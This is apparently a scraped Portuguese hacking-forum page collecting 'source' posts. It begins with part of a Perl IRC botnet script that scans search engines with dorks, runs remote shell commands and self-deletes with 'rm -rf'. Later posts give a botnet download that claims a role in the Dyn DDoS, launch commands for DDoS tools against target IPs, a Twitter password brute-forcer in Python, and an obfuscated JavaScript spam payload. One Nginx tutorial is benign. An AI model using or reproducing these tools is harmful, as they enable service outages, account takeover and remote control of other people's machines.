("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askFR\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askES() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askES\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askRU() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askRU\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub askNL() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askNL\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askPL() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askPL\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askAT() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askAT\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askSE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askSE\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askDK() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askDK\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askNO() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askNO\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub askAU() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askAU\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askBR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askBR\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub askMX() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askMX\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub askJP() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=30) { my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1"); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /askJP\.com/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub onet() { my @list; my $key = $_[0]; my $b = 0; for ($b=1; $b<=500; $b+=50) { my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key)); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=500; $b+=50) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($1 !~ /yippy\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bing() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /google/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bingDE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingDE/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub bingUK() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingUK/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingCA() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingCA/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingBR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingBR/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingFR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingFR/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingES() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingES/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingIT() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingIT/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub bingBE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingBE/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingNL() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingNL/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingPT() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingPT/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingNO() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingNO/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingDK() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingDK/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingSE() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingSE/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub bingCH() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingCH/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingNZ() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingNZ/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingRU() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingRU/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingJP() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingJP/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingCN() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingCN/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingKR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=10) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); if ($res !~ /sw_next/) {$i=500;} while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingKR/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(4); sub bingMX() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingMX/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingAR() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingAR/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingCL() { my @list; my $key = $_[0]; for (my $i=1; $i<=500; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingCL/) { my @grep = links($link); push(@list,@grep); } } } return @list; } sub bingAU() { my @list; my $key = $_[0]; for (my $i=1; $i<=600; $i+=50) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /msn|live|bingAU/) { my @grep = links($link); push(@list,@grep); } } } return @list; } ######################################### sub clean() { my @cln = (); my %visit = (); foreach my $element (@_) { $element =~ s/\/+/\//g; next if $visit{$element}++; push @cln, $element; } return @cln; } sub key() { my $dork = $_[0]; $dork =~ s/ /\+/g; $dork =~ s/:/\%3A/g; $dork =~ s/\//\%2F/g; $dork =~ s/\?/\%3F/g; $dork =~ s/&/\%26/g; $dork =~ s/\"/\%22/g; $dork =~ s/,/\%2C/g; $dork =~ s/\\/\%5C/g; $dork =~ s/@/\%40/g; $dork =~ s/\[/\%5B/g; $dork =~ s/\]/\%5D/g; $dork =~ s/\?/\%3F/g; $dork =~ s/\=/\%3D/g; $dork =~ s/\|/\%7C/g; return $dork; } sub links() { my @list; my $link = $_[0]; my $host = $_[0]; my $hdir = $_[0]; $hdir =~ s/(.*)\/[^\/]*$/\1/; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host .= "/"; $link .= "/"; $hdir .= "/"; $host =~ s/\/\//\//g; $hdir =~ s/\/\//\//g; $link =~ s/\/\//\//g; push(@list,$link,$host,$hdir); return @list; } sub search_engine_query() { my $url = $_[0]; $url =~ s/http:\/\///; my $host = $url; my $query = $url; my $page = ""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~ s/$host//; if ($query eq "") { $query = "/"; } eval { my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; my $sget = "GET $query HTTP/1.0\r\n"; $sget .= "Host: $host\r\n"; $sget .= "Accept: */*\r\n"; $sget .= "User-Agent: $uagent\r\n"; $sget .= "Connetion: Close\r\n\r\n"; print $sock $sget; my @pages = <$sock>; $page = "@pages"; close($sock); }; return $page; } sub copyright() { if (($powered !~ /s/)||($mail !~ /99/)) { print "\nJangan dirubah!!! \nby PLaTo// Toolsb0x\n\n"; exec("rm -rf $0 && pkill perl"); } } ######################################### sub shell() { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output"); if ($c == 5) { $c = 0; sleep 3; } } exit; }} } sub isAdmin() { my $status = 0; my $nick = $_[0]; if ($nick eq $admin) { $status = 1; } return $status; } sub msg() { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); } sub nick() { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub notice() { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); }
  2. [SOURCE]

    A pedidos do nosso amigo @NoName uma BOTNET boa para vocês n usarem Zeus/BeEF. Este é a mesma source usada no ano passado para derrubar os servidores "Dyn" responsáveis por muitos sites grandes como: Twitter,Nytimes,PayPal,SoundCloud,AirBnB,HBO,Netflix,Etsy,Github,Vox,Spotify,PSN,Amazon,Reddit,CNN. Entre outros ultrapassando 1 TB por segundo Caso queira já servidores pronto de Botnet prontos para usar: http://eletroplus.blogspot.com.br/2017/01/botnets-setups.html Download: https://www.sendspace.com/file/q9bcq4 Scan: https://www.virustotal.com/pt/file/c32701ad773660ff4611ba5055d4fd53ffa035a94339bad605fdf88094141690/analysis/1486751716/ OBS: Pois é um BOTNET vão tem vírus sim baixar por conta é risco (nada prejudicial)
  3. [SOURCE]

    Vim trazer a source completa do cadsus. Demonstração de pronto: https://www.youtube.com/watch?v=q6NLREMYeUk Download: https://www.sendspace.com/file/lwn2qs Scan: https://www.virustotal.com/pt/file/aedcd7640260ee2fb0c6a4209937d194b1230e300b9f2b6df011518a9ed2ae20/analysis/1485482660/
  4. [SOURCE]

    Aproveitem HAMMER SRC: https://github.com/cyweb/hammer Requer: Python 2.7.1 https://www.python.org/downloads/release/python-2710/ Comandos: cd desktop cd hammer python3 hammer.py -s [IP] -t 150 -------------------------------------------------------------------------------------- TORSHAMMER SRC: https://github.com/dotfighter/torshammer Requer: Python 2.7.1 https://www.python.org/downloads/release/python-2710/ Comandos: cd desktop cd tor python torshammer.py ./torshammer.py -t [host name ou IP] -r 1000 ---------------------------------------------------------------------------------------- SLOWLORIS SRC: https://github.com/tj/slowloris Requer perl: http://www.activestate.com/activeperl Comandos: cd desktop perl slowloris.pl -dns [host name ou IP] -------------------------------------------------------------------------------------- PYLORIS SRC: https://github.com/Anonymous-Dev/Pyloris Requer: Python 2.7.1 https://www.python.org/downloads/release/python-2710/ Comandos cd desktop cd Pyloris python pyloris.py ############### Attack Limit: 100000 Conection Limit: 100000 Thread Limit: 1000 -------------------------------------------------------------------------------------------- HULK SRC: https://github.com/crazykid199/Hulk-DDoS-version-2.0 Requer: Python 2.7.1 https://www.python.org/downloads/release/python-2710/ Comandos: cd desktop python hulk.py Enter Créditos: Eletroplus
  5. [SOURCE]

    Gostaria de apresentar o meu FREE Twitter Bruteforcer. Sim, eu sei, vocês querem bruteforce como Sentry MBA, mas, esses planos são manchados pelo fato da massa bruteforcing. - Python bruteforce.py USERNAME PASSWORDS.txt Exemplo: Python bruteforce.py @Eletroplus passlist.txt O uso é ilegal e proibido. Adicionados também : Add proxylist or Tor encase of IP ban, Add sockets, Add more headers, Add malicious commands, Add Auto Tweeter, Update payload # - - - - - - - - - - - - - - - - - - - - - # # Twitter Bruteforcer developed in Python # - - - - - # Developed by Eletroplus # # - - - - - - - - - - - - - - - - - - - - - # # 2016~2017 - @Eletroplus # # - - - - - - - - - - - - - - - - - - - - - # # Show some support! # Follow me via Twitter # http://twitter.com/Eletroplus # # - - - - - - - - - - - - - - - - - - - - - import requests import sys def find_between( s, first, last ): try: start = s.index( first ) + len( first ) end = s.index( last, start ) return s[start:end] except ValueError: return "" def check_password(username, password): # Standard Configuration s = requests.Session() headers = {'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1'} login_url = 'https://mobile.twitter.com/login' r = s.get(login_url, headers=headers) # Figure out Payload auth_token = find_between(str(r.text), '<input name="authenticity_token" type="hidden" value="', '"/>') redirect_url = find_between(str(r.text), '<input type="hidden" name="redirect_after_login" value="','">') payload = {'authenticity_token':auth_token, 'remember_me':'1', 'wfa':'1', 'redirect_after_login':redirect_url, 'session[username_or_email]':username, 'session[password]':password} session_url = 'https://mobile.twitter.com/sessions' r = s.post(session_url, headers=headers, data=payload) # Password Check r = s.get('https://mobile.twitter.com/account') if ( username not in r.text ): return False else: return True def check_file(username, filename): # Load Password List password_list = [line.rstrip('\n') for line in open(filename)] for password in password_list: print(password) if ( check_password(username, password) == True ): print('Username:%s; Password:%s' % (username, password)) time.sleep(5) check_file(sys.argv[1], argv[2]) Font: http://pastebin.com/9drySW3t Créditos: Eletroplus
  6. [SOURCE]

    Trago a vocês a source completa no EloBuddy se você sabe C# e é um bom programador você pode cria seu próprio EloBuddy e fazer melhorias, novas coisas etc além de fazer updates você mesmo sem ficar esperando o verdadeiro atualizar e liberar para os users Free além de você poder criar suas próprias scripts para ele sem precisar dividir com outras pessoas. Download: https://www.sendspace.com/file/qh98je Scan: https://www.virustotal.com/pt/file/ef3f0d720890016031efb963fcf2004a70ea636ee82bf019a92a5e39e90c82a4/analysis/1484862737/
  7. [SOURCE]

    Então, o que é Nginx? Nginx é um servidor web que é mais comumente usado como um proxy reverso ou como um balanceador de carga. A maioria dos sites usa Nginx ou Apache2 como seu servidor web designado. Um exemplo disso seria Cloudflare. Eles usam Nginx para seus proxies inversos e servidor web principal. Nginx é escrito em C e é módulos (addons), são principalmente escritos em C. No entanto, Nginx tem a capacidade única de usar diferentes idiomas com o seu software através de módulos de terceiros. Então, por que Nginx? Mais comumente, uma empresa escolheria o Nginx sobre o Apache devido à sua capacidade de lidar com mais solicitações por segundo e usar menos memória. Estrutura de arquivos básica do Nginx: server { listen 80; server_name criminal.cat; root /var/www/html; index index.html; location / { try_files $uri $uri/ =404; } } Então o que significa tudo isso? O que você vê lá é chamado de "servidor" bloco. O bloco de servidor é mais usado para configurar ou permitir que um domínio se conecte ao seu servidor Nginx. Estas são as configurações usadas para esse domínio especificado em "server_name". "Listen 80" indica que você deseja que o Nginx escute a porta 80 no IP do seu servidor. Se você tiver mais de 1 IP e desejar apenas o Nginx para escutar um dos IPs, você pode especificar um IP fazendo o seguinte: listen 1.3.3.7:80; "Nome_do_servidor" indica o domínio que será usado para se conectar ao Nginx. Se este domínio não estiver presente na configuração, ele retornará um erro. Você também pode permitir que todos os domínios se conectem fazendo o seguinte: server_name _; "Root /var/www/html" indica o diretório que ele tentará acessar quando o usuário se conectar ao Nginx usando o domínio apropriado. Você precisa se certificar de que o Nginx tem permissão para acessar este diretório. Se você olhar no arquivo de Nginx no alto se disser: user www-data; worker_processes 4; pid /run/nginx.pid; O "usuário" indica de qual usuário o Nginx será executado. Portanto, neste caso, o diretório "/ var / www / html" precisará ser acessado pelo usuário "www-data". "Index index.html" indica quais arquivos o Nginx tentará procurar pelos arquivos seguindo como o arquivo raiz. Isso significa que quando seu usuário se conecta ao site através do Nginx, ele exibirá index ou index.html dependendo de qual arquivo está presente. Mais tarde, quando você incluir PHP no Nginx, você quer colocar index.php como uma das opções. location / { try_files $uri $uri/ =404; } O acima é chamado de "bloco de localização". Um bloco de localização é usado para indicar caminhos diferentes que o usuário solicitará. Com cada "caminho", como criminal.cat/new/, você pode ter Nginx fazer algo especial. Nas APIs, se você não estiver usando uma estrutura, muitas vezes as pessoas usarão blocos de localização para receber consultas. O "try_files" faz exatamente como o que se soa llike. Ele tentará procurar o arquivo solicitado, então se for solicitado o arquivo criminal.cat/index.php, ele tentará procurar o arquivo "index.php". Se não for encontrado, ele retornará um erro 404.
  8. [SOURCE]

    Ola povo pra quem entende de programação e quiser fazer suas alterações e updates na src está ai, source (código fonte) do LOL Account Checker Link> https://github.com/yokrysty/LoLAccountChecker
  9. O Script gera bloqueamento de algumas funções, alguns usam pra spammar, criar grupos falsos de vendas e trocas e etc; eval(String.fromCharCode(106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 58, 118, 111, 105, 100, 40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 101, 118, 97, 108, 40, 102, 117, 110, 99, 116, 105, 111, 110, 40, 112, 44, 97, 44, 99, 44, 107, 44, 101, 44, 114, 41, 123, 101, 61, 102, 117, 110, 99, 116, 105, 111, 110, 40, 99, 41, 123, 114, 101, 116, 117, 114, 110, 40, 99, 60, 97, 63, 39, 39, 58, 101, 40, 112, 97, 114, 115, 101, 73, 110, 116, 40, 99, 47, 97, 41, 41, 41, 43, 40, 40, 99, 61, 99, 37, 97, 41, 62, 51, 53, 63, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 99, 43, 50, 57, 41, 58, 99, 46, 116, 111, 83, 116, 114, 105, 110, 103, 40, 51, 54, 41, 41, 125, 59, 105, 102, 40, 33, 39, 39, 46, 114, 101, 112, 108, 97, 99, 101, 40, 47, 94, 47, 44, 83, 116, 114, 105, 110, 103, 41, 41, 123, 119, 104, 105, 108, 101, 40, 99, 45, 45, 41, 114, 91, 101, 40, 99, 41, 93, 61, 107, 91, 99, 93, 124, 124, 101, 40, 99, 41, 59, 107, 61, 91, 102, 117, 110, 99, 116, 105, 111, 110, 40, 101, 41, 123, 114, 101, 116, 117, 114, 110, 32, 114, 91, 101, 93, 125, 93, 59, 101, 61, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 114, 101, 116, 117, 114, 110, 39, 92, 92, 119, 43, 39, 125, 59, 99, 61, 49, 125, 59, 119, 104, 105, 108, 101, 40, 99, 45, 45, 41, 105, 102, 40, 107, 91, 99, 93, 41, 112, 61, 112, 46, 114, 101, 112, 108, 97, 99, 101, 40, 110, 101, 119, 32, 82, 101, 103, 69, 120, 112, 40, 39, 92, 92, 98, 39, 43, 101, 40, 99, 41, 43, 39, 92, 92, 98, 39, 44, 39, 103, 39, 41, 44, 107, 91, 99, 93, 41, 59, 114, 101, 116, 117, 114, 110, 32, 112, 125, 40, 39, 40, 68, 40, 41, 123, 119, 32, 102, 61, 123, 49, 101, 58, 106, 46, 49, 102, 40, 92, 39, 49, 103, 92, 39, 41, 91, 48, 93, 46, 49, 104, 44, 69, 58, 106, 46, 49, 105, 46, 49, 106, 40, 106, 46, 49, 105, 46, 49, 106, 40, 47, 50, 50, 61, 40, 92, 92, 100, 43, 41, 47, 41, 91, 49, 93, 41, 44, 49, 107, 58, 106, 46, 49, 102, 40, 92, 39, 49, 108, 92, 39, 41, 91, 48, 93, 46, 49, 104, 44, 66, 58, 78, 32, 50, 51, 40, 41, 44, 74, 58, 48, 44, 79, 58, 48, 44, 80, 58, 48, 44, 49, 109, 58, 68, 40, 98, 41, 123, 119, 32, 99, 61, 78, 32, 49, 110, 40, 41, 59, 99, 46, 49, 111, 40, 92, 39, 50, 52, 92, 39, 44, 98, 44, 49, 112, 41, 59, 99, 46, 49, 113, 61, 68, 40, 41, 123, 113, 40, 99, 46, 75, 61, 61, 52, 38, 38, 99, 46, 81, 61, 61, 49, 114, 41, 123, 119, 32, 97, 61, 82, 40, 92, 39, 